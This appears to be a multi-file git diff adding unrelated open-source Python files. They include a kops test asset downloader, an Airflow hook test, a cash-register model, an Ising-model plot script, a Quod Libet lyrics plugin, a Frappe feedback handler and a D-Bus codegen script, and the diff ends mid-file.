+ help="Don't show me observation that are already in the input files, TRACKS only") + parser.add_argument("--username", dest="username", help="Your CADC username") + parser.add_argument('--zoom', dest='zoom', default=1) + + args = parser.parse_args() + + if args.dry_run and args.output == tempfile.gettempdir(): + # Don't use tempdir as default for dry runs, use the input directory + output = args.input + else: + output = args.output + + if args.debug: + logger.set_debug() + + storage.DBIMAGES = args.dbimages + + launch_app(args.task, args.input, output, args.dry_run, args.debug, args.name_filter, + args.username, args.skip_previous, args.zoom) + + +if __name__ == "__main__": + import warnings + from astropy.utils.exceptions import AstropyUserWarning + from astropy.io.fits.verify import VerifyWarning + warnings.filterwarnings('ignore', category=AstropyUserWarning) + warnings.filterwarnings('ignore', category=VerifyWarning) + import sys + sys.exit(main()) diff --git a/pool/shard008/Python/0077589_downloads.py b/pool/shard008/Python/0077589_downloads.py new file mode 100644 index 0000000000000000000000000000000000000000..6cbbc4a31e11659d33fe649e75851b51f8ef8dfd --- /dev/null +++ b/pool/shard008/Python/0077589_downloads.py @@ -0,0 +1,84 @@ +# Copyright 2020 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import os +import os.path +import requests +import subprocess +import pathlib + + +def exec(args, env=None, cwd=None, print_stdout=True): + if env is None: + env = os.environ.copy() + print("running %s" % (args)) + r = subprocess.run( + args, env=env, cwd=cwd, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + if print_stdout: + print(r.stdout.decode()) + print(r.stderr.decode()) + if r.returncode != 0: + r.check_returncode() + return r.stdout.decode() + + +def read_url(u): + r = requests.get(u) + if r.status_code != 200: + raise Exception("unexpected response code %d fetching %s" % (r.status_code, u)) + return r.text + + +archive = os.path.join(pathlib.Path.home(), ".cache", "kops-test", "assets") + + +def sha256_of_file(f): + stdout = exec(["sha256sum", f]) + return stdout.split()[0] + + +def download_hashed_url(url): + hash = read_url(url + ".sha256").strip() + os.makedirs(archive, exist_ok=True) + dest = os.path.join(archive, hash) + if os.path.exists(dest): + actual_hash = sha256_of_file(dest) + if actual_hash != hash: + print( + "hash mismatch on %s (%s vs %s), will download again" + % (dest, actual_hash, hash) + ) + else: + return dest + download_url(url, dest) + return dest + + +def download_url(url, dest): + exec(["curl", url, "-o", dest]) + + +def expand_tar(tarfile): + hash = sha256_of_file(tarfile) + dest = os.path.join(archive, "expanded", hash) + if os.path.exists(dest): + return dest + + tmpdest = dest + ".tmp" + os.makedirs(tmpdest) + exec(["tar", "xf", tarfile, "-C", tmpdest]) + exec(["mv", tmpdest, dest]) + + return dest diff --git a/pool/shard008/Python/0077591_test_azure_container_registry.py b/pool/shard008/Python/0077591_test_azure_container_registry.py new file mode 100644 index 0000000000000000000000000000000000000000..34a876d9447bec46df467c3e50a9bb689641b6a2 --- /dev/null +++ b/pool/shard008/Python/0077591_test_azure_container_registry.py @@ -0,0 +1,41 @@ +# +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. + +import unittest + +from airflow.models import Connection +from airflow.providers.microsoft.azure.hooks.container_registry import AzureContainerRegistryHook +from airflow.utils import db + + +class TestAzureContainerRegistryHook(unittest.TestCase): + def test_get_conn(self): + db.merge_conn( + Connection( + conn_id='azure_container_registry', + conn_type='azure_container_registry', + login='myuser', + password='password', + host='test.cr', + ) + ) + hook = AzureContainerRegistryHook(conn_id='azure_container_registry') + assert hook.connection is not None + assert hook.connection.username == 'myuser' + assert hook.connection.password == 'password' + assert hook.connection.server == 'test.cr' diff --git a/pool/shard008/Python/0077592_get.py b/pool/shard008/Python/0077592_get.py new file mode 100644 index 0000000000000000000000000000000000000000..c8c125c1470b5a3d42423052394bffe132f62022 --- /dev/null +++ b/pool/shard008/Python/0077592_get.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +# a minimal script to fetch a web page. We execute this in a separate process +# so we can cancel flickr requests if they take too long or go wrong + +# usage: get.py (dummy arg) method url [content-type ] +# if -P, this is a POST, read postdata from stdin +# url should already be encoded + +# try to keep the import set minimal so it starts quickly +import sys +import urllib2 + +dummy = sys.argv[1] +is_post = sys.argv[2] == "POST" +url = sys.argv[3] +if is_post: + content_type = sys.argv[4] + +txheaders = {} +data = None + +if is_post: + data = sys.stdin.read() + txheaders['Content-type'] = content_type + txheaders['Content-length'] = str(len(data)) + +try: + req = urllib2.Request(url,data,txheaders) + resp = urllib2.urlopen(req).read() + print resp +except urllib2.HTTPError, err: + print >>sys.stderr, str(err) + sys.exit(1) +except urllib2.URLError, err: + print >>sys.stderr, str(err) + sys.exit(1) diff --git a/pool/shard008/Python/0077598_payment_operations.py b/pool/shard008/Python/0077598_payment_operations.py new file mode 100644 index 0000000000000000000000000000000000000000..f8eab171834bd1d9f90c7192c5806cee2e5da113 --- /dev/null +++ b/pool/shard008/Python/0077598_payment_operations.py @@ -0,0 +1,81 @@ +# -*- coding: utf-8 -*- + +""" +Model of table payment types. +This table collect all payments that passes through cash machine. + +""" + +from mgnemu.models.check import Check +from mgnemu.models.cash_operation import CashOperation + + +class PaymentOperations(object): + + def __init__(self): + self.__sum1 = 0 + self.__sum2 = 0 + self.__sum3 = 0 + self.__sum4 = 0 + + def load_data(self, data): + for obj in data: + if obj['no'] == 1: + self.__sum1 = obj['sum'] + if obj['no'] == 2: + self.__sum2 = obj['sum'] + if obj['no'] == 3: + self.__sum3 = obj['sum'] + if obj['no'] == 4: + self.__sum4 = obj['sum'] + + def __add_sum(self, pay_num, pay_sum): + if pay_num == 1: + self.__sum1 += pay_sum + if pay_num == 2: + self.__sum2 += pay_sum + if pay_num == 3: + self.__sum3 += pay_sum + if pay_num == 4: + self.__sum4 += pay_sum + + def dumps(self): + return [ + { + 'no': 1, + 'sum': self.__sum1 + }, + { + 'no': 2, + 'sum': self.__sum2 + }, + { + 'no': 3, + 'sum': self.__sum3 + }, + { + 'no': 4, + 'sum': self.__sum4 + } + ] + + def add_check(self, check): + sums = check.gen_check() + for pay_num, pay_sum in sums.items(): + self.__add_sum(pay_num, pay_sum) + + @property + def sum1(self): + return self.__sum1 + + @property + def sum2(self): + return self.__sum2 + + @property + def sum3(self): + return self.__sum3 + + @property + def sum4(self): + return self.__sum4 diff --git a/pool/shard008/Python/0077602_Data_summing_plot_script.py b/pool/shard008/Python/0077602_Data_summing_plot_script.py new file mode 100644 index 0000000000000000000000000000000000000000..410a41ddfd22c68a979d31e43d022dfc8fc776d7 --- /dev/null +++ b/pool/shard008/Python/0077602_Data_summing_plot_script.py @@ -0,0 +1,41 @@ +#Author: Damodar Rajbhandari + +#!/usr/bin/python3 + +import numpy as np +import matplotlib.pyplot as plot + +N = 256 #no. of spins +x = np.linspace(0.1, 4, 128) + +Mean_Collect = [] +for temp in x: + + with open("Data/Temp_%s.csv" %temp, "r") as infile: + Data = infile.readlines() + Abs_Data = np.array([abs(float(x)) for x in Data[2:]]) + MPS = np.mean(Abs_Data/N) # <|Magnetization|> per spin + Mean_Collect.append(MPS) + +#Coding for Osager Solution's for Finding Curie Temperature. + +Tc = 2/np.log(1+np.sqrt(2)) #which is nearly equals to 2.269 + +OM = [] #Osager's Magnetization +for temp in x: + if float(temp) < Tc: + O =(1-(np.sinh(np.log(1+np.sqrt(2))*(Tc/temp)))**(-4))**(1/8) + OM.append(O) + elif float(temp) > Tc: + O = 0 + OM.append(O) + + +plot.plot(x, OM, color = "r", marker = "*", label = "Osager's formula") +plot.scatter(x,Collect, color= "black", label = "Simulation data") +plot.title("Simulation result using 256 spins") +plot.legend(loc = "best") +plot.xlabel("Temperature") +plot.ylabel("Absolute Magnetization per spin") +plot.show() + diff --git a/pool/shard008/Python/0077603_user_articles.py b/pool/shard008/Python/0077603_user_articles.py new file mode 100644 index 0000000000000000000000000000000000000000..5d3283eb9b2855179140850b8a490b08209ca350 --- /dev/null +++ b/pool/shard008/Python/0077603_user_articles.py @@ -0,0 +1,77 @@ +#!/usr/bin/python + +import datetime +from dateutil.relativedelta import relativedelta +import itertools +import os +import sys +import time + +sys.path = ['/home/ben/Projects', '/home/ben/Projects/django'] + sys.path +os.environ['DJANGO_SETTINGS_MODULE'] = 'boar.settings' + +from graphication import * +from graphication.wavegraph import WaveGraph +from django.conf import settings +from django.contrib.auth.models import User +from django.db.models import * +from boar.accounts.models import UserProfile +from boar.articles.models import Article, Section + +for user in User.objects.filter(is_staff=True): + if user.article_set.count() < 5: + continue + + d = user.article_set.aggregate(Min('pub_date'), Max('pub_date')) + print d + min_month = datetime.date( + d['pub_date__min'].year, + d['pub_date__min'].month, + 1) + max_month = datetime.date( + d['pub_date__max'].year, + d['pub_date__max'].month, + 1) + + series_set = SeriesSet() + for section in Section.objects.all(): + qs = user.article_set.filter(section=section) + if qs.count() == 0: + continue + months = {} + month = min_month + while month <= max_month: + months[month] = qs.filter(pub_date__gte=month, pub_date__lt=month+relativedelta(months=1)).count() + month += relativedelta(months=1) + if len(months.keys()) < 2: + continue + print months + series_set.add_series(Series(str(section), months, section.colour)) + + if len(series_set) == 0: + continue + + # Initialise our Style + import graphication.examples.lastgraph_css as style + + # Create the output + output = FileOutput(style) + + # Weeky scale + scale = AutoWeekDateScale(series_set, short_labels=True) + + # OK, render that. + wg = WaveGraph(series_set, scale, style, label_curves=True) + + output.add_item(wg, x=0, y=0, width=450, height=150) + + filename = "graphs/user_articles/%s.%s.png" % (user.id, time.time()) + + print os.path.join(settings.MEDIA_ROOT, filename) + + output.write("png", os.path.join(settings.MEDIA_ROOT, filename)) + + profile, created = UserProfile.objects.get_or_create(user=user) + profile.articles_graph = filename + profile.save() + diff --git a/pool/shard008/Python/0077605_EP.py b/pool/shard008/Python/0077605_EP.py new file mode 100644 index 0000000000000000000000000000000000000000..78dd9d3cbafba80ce53c22de69e2016aa821c09e --- /dev/null +++ b/pool/shard008/Python/0077605_EP.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python2 +# -*- coding: utf-8 -*- +""" +Created on Mon Jul 31 14:48:25 2017 +Author: Peiyong Jiang : jiangpeiyong@impcas.ac.cn +Function: + Energy <-> Momentum : E <-> P + + + + + +""" + +from BetaGammaC import * + +def dE2dP_gammaC(dE_E,gammaSyn): + dP_P=tf.div(gammaSyn,1+gammaSyn)*dE_E + return dP_P + +def dP2dE_gammaC(dP_P,gammaSyn): + dE_E=tf.div(1+gammaSyn,gammaSyn)*dP_P + return dE_E + +def dE2dP_energy(dE_E,energySyn): + gammaSyn=Energy2GammaC(energySyn) + dP_P=tf.div(gammaSyn,1+gammaSyn)*dE_E + return dP_P + +def dP2dE_energy(dP_P,energySyn): + gammaSyn=Energy2GammaC(energySyn) + dE_E=tf.div(1+gammaSyn,gammaSyn)*dP_P + return dE_E + + diff --git a/pool/shard008/Python/0077606_prepare_spec_test.py b/pool/shard008/Python/0077606_prepare_spec_test.py new file mode 100644 index 0000000000000000000000000000000000000000..aa62fa0b22b92ac950e7f4340bb8030bf13adbc9 --- /dev/null +++ b/pool/shard008/Python/0077606_prepare_spec_test.py @@ -0,0 +1,39 @@ +import unittest + +from program_synthesis.karel.models import prepare_spec + + +class PackedSequenceTest(unittest.TestCase): + + @unittest.skip('TransposedPackedSequence is missing') + def test_transpose1(self): + psp = prepare_spec.lists_to_packed_sequence( + [[0, 1], [2], [3, 4, 5], [6, 7, 8]], lambda x: x, False, False) + psp_t = psp.transpose() + self.assertEqual( + psp_t.data.data.numpy().tolist(), [3, 4, 5, 6, 7, 8, 0, 1, 2]) + self.assertEqual(psp_t.lengths, [3, 3, 2, 1]), + self.assertEqual(psp_t.sort_to_orig, [2, 3, 0, 1]) + self.assertEqual(psp_t.orig_to_sort, (2, 3, 0, 1)) + + @unittest.skip('TransposedPackedSequence is missing') + def test_transpose2(self): + psp = prepare_spec.lists_to_packed_sequence( + [[0, 1], [2], [3, 4, 5]], lambda x: x, False, False) + psp_t = psp.transpose() + self.assertEqual( + psp_t.data.data.numpy().tolist(), [3, 4, 5, 0, 1, 2]) + self.assertEqual(psp_t.lengths, [3, 2, 1]), + self.assertEqual(psp_t.sort_to_orig, [1, 2, 0]) + self.assertEqual(psp_t.orig_to_sort, (2, 0, 1)) + + psp_t = psp_t.expand(3) + self.assertEqual(psp_t.data.data.numpy().tolist(), [ + 3, 4, 5, 3, 4, 5, 3, 4, 5, 0, 1, 0, 1, 0, 1, 2, 2, 2 + ]) + self.assertEqual(psp_t.lengths, [3, 3, 3, 2, 2, 2, 1, 1, 1]), + self.assertEqual(psp_t.sort_to_orig, [3, 4, 5, 6, 7, 8, 0, 1, 2]) + self.assertEqual(psp_t.orig_to_sort, [6, 7, 8, 0, 1, 2, 3, 4, 5]) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard008/Python/0077608_playercontext_test.py b/pool/shard008/Python/0077608_playercontext_test.py new file mode 100644 index 0000000000000000000000000000000000000000..f813d12da1ba5452326a84bcdb859792b8321df2 --- /dev/null +++ b/pool/shard008/Python/0077608_playercontext_test.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python +import unittest +import playercontext + +class PlayerContextTestCase(unittest.TestCase): + + def test_FromString(self): + src = open('testdata/context1.txt').read() + pc = playercontext.PlayerContext.FromString(src) + self.assertEqual(pc.balance, 95.03029999999998) + self.assertEqual(pc.playerid, 100) + self.assertEqual(pc.currentround, 13) + self.assertEqual(len(pc.our_offered), 0) + self.assertEqual(len(pc.their_offered), 1) + self.assertEqual(len(pc.accepted), 0) + self.assertEqual(len(pc.provided), 0) + +if __name__ == '__main__': + unittest.main() diff --git a/pool/shard008/Python/0077614_viewlyrics.py b/pool/shard008/Python/0077614_viewlyrics.py new file mode 100644 index 0000000000000000000000000000000000000000..ccadc1fa43f8e77b22922e74ae3047d1fe227ab9 --- /dev/null +++ b/pool/shard008/Python/0077614_viewlyrics.py @@ -0,0 +1,139 @@ +# -*- coding: utf-8 -*- +# +# View Lyrics: a Quod Libet plugin for viewing lyrics. +# Copyright (C) 2008, 2011, 2012 Vasiliy Faronov +# 2013-17 Nick Boultbee +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. + +from gi.repository import Gtk, Gdk + +from quodlibet import _, print_d, app +from quodlibet.plugins.events import EventPlugin +from quodlibet.plugins.gui import UserInterfacePlugin +from quodlibet.qltk import Icons, add_css, Button +from quodlibet.qltk.information import Information +from quodlibet.util.songwrapper import SongWrapper + + +class ViewLyrics(EventPlugin, UserInterfacePlugin): + """The plugin for viewing lyrics in the main window.""" + + PLUGIN_ID = 'View Lyrics' + PLUGIN_NAME = _('View Lyrics') + PLUGIN_DESC = _('Automatically displays tag or file-based lyrics ' + 'in a sidebar.') + PLUGIN_ICON = Icons.FORMAT_JUSTIFY_FILL + + def enabled(self): + self.scrolled_window = Gtk.ScrolledWindow() + self.scrolled_window.set_policy(Gtk.PolicyType.AUTOMATIC, + Gtk.PolicyType.AUTOMATIC) + self.adjustment = self.scrolled_window.get_vadjustment() + + self.textview = Gtk.TextView() + self.textbuffer = self.textview.get_buffer() + self._italics = self.textbuffer.create_tag("italic", style="italic", + foreground="grey") + self.textview.set_editable(False) + self.textview.set_cursor_visible(False) + self.textview.set_wrap_mode(Gtk.WrapMode.WORD) + self.textview.set_justification(Gtk.Justification.CENTER) + self.textview.connect('key-press-event', self.key_press_event_cb) + add_css(self.textview, "* { padding: 6px; }") + vbox = Gtk.VBox() + vbox.pack_start(self.textview, True, True, 0) + self._edit_button = Button("Edit Lyrics", Icons.EDIT) + hbox = Gtk.HBox() + hbox.pack_end(self._edit_button, False, False, 3) + vbox.pack_start(hbox, False, False, 3) + self.scrolled_window.add(vbox) + self.textview.show() + + self.scrolled_window.show() + self._sig = None + cur = app.player.info + if cur is not None: + cur = SongWrapper(cur) + self.plugin_on_song_started(cur) + + def create_sidebar(self): + vbox = Gtk.VBox(margin=0) + vbox.pack_start(self.scrolled_window, True, True, 0) + vbox.show_all() + return vbox + + def disabled(self): + self.textview.destroy() + self.scrolled_window.destroy() + + def plugin_on_song_started(self, song): + """Called when a song is started. Loads the lyrics. + + If there are lyrics associated with `song`, load them into the + lyrics viewer. Otherwise, hides the lyrics viewer. + """ + lyrics = None + if song is not None: + print_d("Looking for lyrics for %s" % song("~filename")) + lyrics = song("~lyrics") + if lyrics: + self.textbuffer.set_text(lyrics) + self.adjustment.set_value(0) # Scroll to the top. + self.textview.show() + else: + title = _("No lyrics found for\n %s") % song("~basename") + self._set_italicised(title) + + def edit(widget): + print_d("Launching lyrics editor for %s" % song("~filename")) + assert isinstance(song, SongWrapper) + information = Information(app.librarian, [song._song]) + information.get_child()._switch_to_lyrics() + information.show() + + if self._sig: + self._edit_button.disconnect(self._sig) + self._sig = self._edit_button.connect('clicked', edit) + + def _set_italicised(self, title): + self.textbuffer.set_text(title) + start = self.textbuffer.get_start_iter() + end = self.textbuffer.get_end_iter() + self.textbuffer.remove_all_tags(start, end) + self.textbuffer.apply_tag(self._italics, start, end) + + def plugin_on_changed(self, songs): + cur = app.player.info + if cur: + fn = cur("~filename") + for s in songs: + if s("~filename") == fn: + print_d("Active song changed, reloading lyrics") + self.plugin_on_song_started(SongWrapper(cur)) + else: + self._set_italicised(_("No active song")) + + def key_press_event_cb(self, widget, event): + """Handles up/down "key-press-event" in the lyrics view.""" + adj = self.scrolled_window.get_vadjustment().props + if event.keyval == Gdk.KEY_Up: + adj.value = max(adj.value - adj.step_increment, adj.lower) + elif event.keyval == Gdk.KEY_Down: + adj.value = min(adj.value + adj.step_increment, + adj.upper - adj.page_size) + elif event.keyval == Gdk.KEY_Page_Up: + adj.value = max(adj.value - adj.page_increment, adj.lower) + elif event.keyval == Gdk.KEY_Page_Down: + adj.value = min(adj.value + adj.page_increment, + adj.upper - adj.page_size) + elif event.keyval == Gdk.KEY_Home: + adj.value = adj.lower + elif event.keyval == Gdk.KEY_End: + adj.value = adj.upper - adj.page_size + else: + return False + return True diff --git a/pool/shard008/Python/0077616_units_namespace.py b/pool/shard008/Python/0077616_units_namespace.py new file mode 100644 index 0000000000000000000000000000000000000000..c28a85afaf2e54cdedf2ffde237de0c4be162dea --- /dev/null +++ b/pool/shard008/Python/0077616_units_namespace.py @@ -0,0 +1,68 @@ +"""Example creating model with id clash between units and other objects. + +Model used for testing units namespacing. +""" +from pathlib import Path + +from sbmlutils import EXAMPLES_DIR +from sbmlutils.examples import templates +from sbmlutils.factory import * +from sbmlutils.metadata import * + + +class U(Units): + """UnitDefinitions.""" + + min = UnitDefinition("min") + mmole = UnitDefinition("mmole") + m = UnitDefinition("m", "meter") + m2 = UnitDefinition("m2", "meter^2") + m3 = UnitDefinition("m3", "meter^3") + + +_m = Model( + "units_namespace", + name="model with unit and sid namespace clash", + notes=""" + # Model testing units and sid namespace + + The UnitDefinitions and other Objects in an SBMLDocument have different SId + namespaces. This examples tests clashes of this namespace by creating a unit + with `sid=m3` and a compartment `sid=m3`. + + """ + + templates.terms_of_use, + creators=templates.creators, + units=U, + model_units=ModelUnits( + time=U.min, + extent=U.mmole, + substance=U.mmole, + length=U.m, + area=U.m2, + volume=U.m3, + ), + compartments=[ + Compartment( + sid="m3", + value=1.0, + unit=U.m3, + sboTerm=SBO.PHYSICAL_COMPARTMENT, + port=True, + ), + ], +) + + +def create(tmp: bool = False) -> FactoryResult: + """Create model.""" + return create_model( + models=_m, + output_dir=EXAMPLES_DIR, + units_consistency=False, + tmp=tmp, + ) + + +if __name__ == "__main__": + fac_result = create() diff --git a/pool/shard008/Python/0077618_exceptions.py b/pool/shard008/Python/0077618_exceptions.py new file mode 100644 index 0000000000000000000000000000000000000000..139f1cfa15e53c1f68177a5cb79d9435f5a62ac9 --- /dev/null +++ b/pool/shard008/Python/0077618_exceptions.py @@ -0,0 +1,91 @@ +"""Exceptions.""" +from __future__ import absolute_import, unicode_literals + +from socket import timeout as TimeoutError # noqa + +from amqp import ChannelError, ConnectionError, ResourceError + +from kombu.five import python_2_unicode_compatible + +__all__ = [ + 'KombuError', 'OperationalError', + 'NotBoundError', 'MessageStateError', 'TimeoutError', + 'LimitExceeded', 'ConnectionLimitExceeded', + 'ChannelLimitExceeded', 'ConnectionError', 'ChannelError', + 'VersionMismatch', 'SerializerNotInstalled', 'ResourceError', + 'SerializationError', 'EncodeError', 'DecodeError', 'HttpError', + 'InconsistencyError', +] + + +class KombuError(Exception): + """Common subclass for all Kombu exceptions.""" + + +class OperationalError(KombuError): + """Recoverable message transport connection error.""" + + +class SerializationError(KombuError): + """Failed to serialize/deserialize content.""" + + +class EncodeError(SerializationError): + """Cannot encode object.""" + + +class DecodeError(SerializationError): + """Cannot decode object.""" + + +class NotBoundError(KombuError): + """Trying to call channel dependent method on unbound entity.""" + + +class MessageStateError(KombuError): + """The message has already been acknowledged.""" + + +class LimitExceeded(KombuError): + """Limit exceeded.""" + + +class ConnectionLimitExceeded(LimitExceeded): + """Maximum number of simultaneous connections exceeded.""" + + +class ChannelLimitExceeded(LimitExceeded): + """Maximum number of simultaneous channels exceeded.""" + + +class VersionMismatch(KombuError): + """Library dependency version mismatch.""" + + +class SerializerNotInstalled(KombuError): + """Support for the requested serialization type is not installed.""" + + +class ContentDisallowed(SerializerNotInstalled): + """Consumer does not allow this content-type.""" + + +class InconsistencyError(ConnectionError): + """Data or environment has been found to be inconsistent. + + Depending on the cause it may be possible to retry the operation. + """ + + +@python_2_unicode_compatible +class HttpError(Exception): + """HTTP Client Error.""" + + def __init__(self, code, message=None, response=None): + self.code = code + self.message = message + self.response = response + super(HttpError, self).__init__(code, message, response) + + def __str__(self): + return 'HTTP {0.code}: {0.message}'.format(self) diff --git a/pool/shard008/Python/0077625_0001_initial.py b/pool/shard008/Python/0077625_0001_initial.py new file mode 100644 index 0000000000000000000000000000000000000000..e8dbb5f671d81bf5205cc2b52ea632a3afff9e22 --- /dev/null +++ b/pool/shard008/Python/0077625_0001_initial.py @@ -0,0 +1,24 @@ +# -*- coding: utf-8 -*- +# Generated by Django 1.10.5 on 2017-01-07 20:53 +from __future__ import unicode_literals + +from django.db import migrations, models + + +class Migration(migrations.Migration): + + initial = True + + dependencies = [ + ] + + operations = [ + migrations.CreateModel( + name='Sensor', + fields=[ + ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), + ('serial', models.CharField(max_length=16)), + ('name', models.CharField(max_length=100)), + ], + ), + ] diff --git a/pool/shard008/Python/0077626_feedback.py b/pool/shard008/Python/0077626_feedback.py new file mode 100644 index 0000000000000000000000000000000000000000..1830a3e09e232501cf62c6dc35409c6f2d67465c --- /dev/null +++ b/pool/shard008/Python/0077626_feedback.py @@ -0,0 +1,63 @@ +# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors +# MIT License. See license.txt +from __future__ import unicode_literals + +import frappe + +from frappe import _ + +@frappe.whitelist(allow_guest=True) +def add_feedback(reference_doctype, reference_name, rating, feedback, feedback_email): + doc = frappe.get_doc(reference_doctype, reference_name) + if doc.disable_feedback == 1: + return + + doc = frappe.new_doc('Feedback') + doc.reference_doctype = reference_doctype + doc.reference_name = reference_name + doc.rating = rating + doc.feedback = feedback + doc.email = feedback_email + doc.save(ignore_permissions=True) + + subject = _('New Feedback on {0}: {1}').format(reference_doctype, reference_name) + send_mail(doc, subject) + return doc + +@frappe.whitelist() +def update_feedback(reference_doctype, reference_name, rating, feedback, feedback_email): + doc = frappe.get_doc(reference_doctype, reference_name) + if doc.disable_feedback == 1: + return + + filters = { + "email": feedback_email, + "reference_doctype": reference_doctype, + "reference_name": reference_name + } + d = frappe.get_all('Feedback', filters=filters, limit=1) + doc = frappe.get_doc('Feedback', d[0].name) + doc.rating = rating + doc.feedback = feedback + doc.save(ignore_permissions=True) + + subject = _('Feedback updated on {0}: {1}').format(reference_doctype, reference_name) + send_mail(doc, subject) + return doc + +def send_mail(feedback, subject): + doc = frappe.get_doc(feedback.reference_doctype, feedback.reference_name) + + message = ("

{0} ({1})

".format(feedback.feedback, feedback.rating) + + "

{2}

".format(frappe.utils.get_request_site_address(), + feedback.name, + _("View Feedback"))) + + # notify creator + frappe.sendmail( + recipients=frappe.db.get_value('User', doc.owner, 'email') or doc.owner, + subject=subject, + message=message, + reference_doctype=doc.doctype, + reference_name=doc.name + ) diff --git a/pool/shard008/Python/0077628_update-dbus-proxies.py b/pool/shard008/Python/0077628_update-dbus-proxies.py new file mode 100644 index 0000000000000000000000000000000000000000..6afeeaf3c88a5d29ceff4d10cfb962d3a8479559 --- /dev/null +++ b/pool/shard008/Python/0077628_update-dbus-proxies.py @@ -0,0 +1,119 @@ +#!/usr/bin/python3 +# +# Copyright (c) 2014-2022 The Voxie Authors +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +# + +import os +import sys +import subprocess +import io +import shutil +import re + +import xml.etree.ElementTree + +import property_types +import codegen_utils +import dbus_xml + +os.chdir(os.path.join(os.path.dirname(sys.argv[0]), '..')) + +srcPrefix = 'src/' +adaptorsHeaderFilenameShort = 'VoxieClient/DBusAdaptors.hpp' +proxiesHeaderFilenameShort = 'VoxieClient/DBusProxies.hpp' +proxiesFilenameShort = 'VoxieClient/DBusProxies.cpp' + +adaptorsHeaderFilename = srcPrefix + adaptorsHeaderFilenameShort +proxiesHeaderFilename = srcPrefix + proxiesHeaderFilenameShort +proxiesFilename = srcPrefix + proxiesFilenameShort + +# dbusXmlFilename = 'de.uni_stuttgart.Voxie.xml' +dbusXmlData = subprocess.run(['tools/get-dbus-xml.py'], check=True, stdout=subprocess.PIPE).stdout + +doc = xml.etree.ElementTree.parse(io.BytesIO(dbusXmlData)) + +dbus_xml.iterTypes(doc=doc, showMissingOptions=False, typeCallback=lambda type: None) + +xml = io.BytesIO() +doc.write(xml, encoding='utf-8', xml_declaration=True) +xml = xml.getvalue() + +if os.path.exists('tmp-dbus'): + shutil.rmtree('tmp-dbus') +os.mkdir('tmp-dbus') +subprocess.run(['qdbusxml2cpp', '-p', 'tmp-dbus/DBusProxies', '-a', 'tmp-dbus/DBusAdaptors'], check=True, input=xml) +proxiesHeader = open('tmp-dbus/DBusProxies.h', 'r', encoding='utf-8').read() +proxies = open('tmp-dbus/DBusProxies.cpp', 'r', encoding='utf-8').read() +adaptorsHeader = open('tmp-dbus/DBusAdaptors.h', 'r', encoding='utf-8').read() +# Don't use adaptors .cpp file +shutil.rmtree('tmp-dbus') + +proxiesHeader = ( + '#include \n' + + '#include \n' + + proxiesHeader +) +# proxiesHeader = re.sub('DBUSPROXIES_H_[0-9]*', 'VOXIECLIENT_DBUSPROXIES_H', proxiesHeader) +# proxiesHeader = re.sub('class ', 'class VOXIECLIENT_EXPORT ', proxiesHeader) +proxiesHeader = '\n'.join([re.sub('^class ', 'class VOXIECLIENT_EXPORT ', s) if ': public' in s else s for s in proxiesHeader.split('\n')]) + +proxies = proxies.replace('tmp-dbus/DBusProxies.h', proxiesHeaderFilenameShort) + +# Remove inline to make sure or workaround is not needed. (inline should be implied anyway by this method being defined inside the class.) +proxiesHeader = proxiesHeader.replace(' QDBusPendingReply<', ' Q_REQUIRED_RESULT vx::QDBusPendingReplyWrapper<') +# proxiesHeader = proxiesHeader.replace('inline Q_REQUIRED_RESULT', 'Q_REQUIRED_RESULT inline') +proxiesHeader = proxiesHeader.replace('inline Q_REQUIRED_RESULT', 'Q_REQUIRED_RESULT') + +adaptorsHeaderNew = '#include \n' +inCtor = False +inPropMethod = False +for line in adaptorsHeader.split('\n'): + line = line.strip() + + if line.endswith('public:'): + inCtor = True + elif line.endswith(' // PROPERTIES'): + inCtor = False + inPropMethod = True + elif line.endswith(' // SIGNALS'): + inPropMethod = False + + if inCtor and line.endswith(';') and line.startswith('virtual'): + adaptorsHeaderNew += line[:-1] + ' {}\n' + elif inCtor and line.endswith(';'): + adaptorsHeaderNew += line[:-1] + ' : QDBusAbstractAdaptor (parent) {}\n' + elif inPropMethod and line.endswith(';'): + adaptorsHeaderNew += 'virtual ' + line[:-1] + ' = 0;\n' + else: + adaptorsHeaderNew += line + '\n' +adaptorsHeader = adaptorsHeaderNew +adaptorsHeader = '\n'.join([re.sub('^class 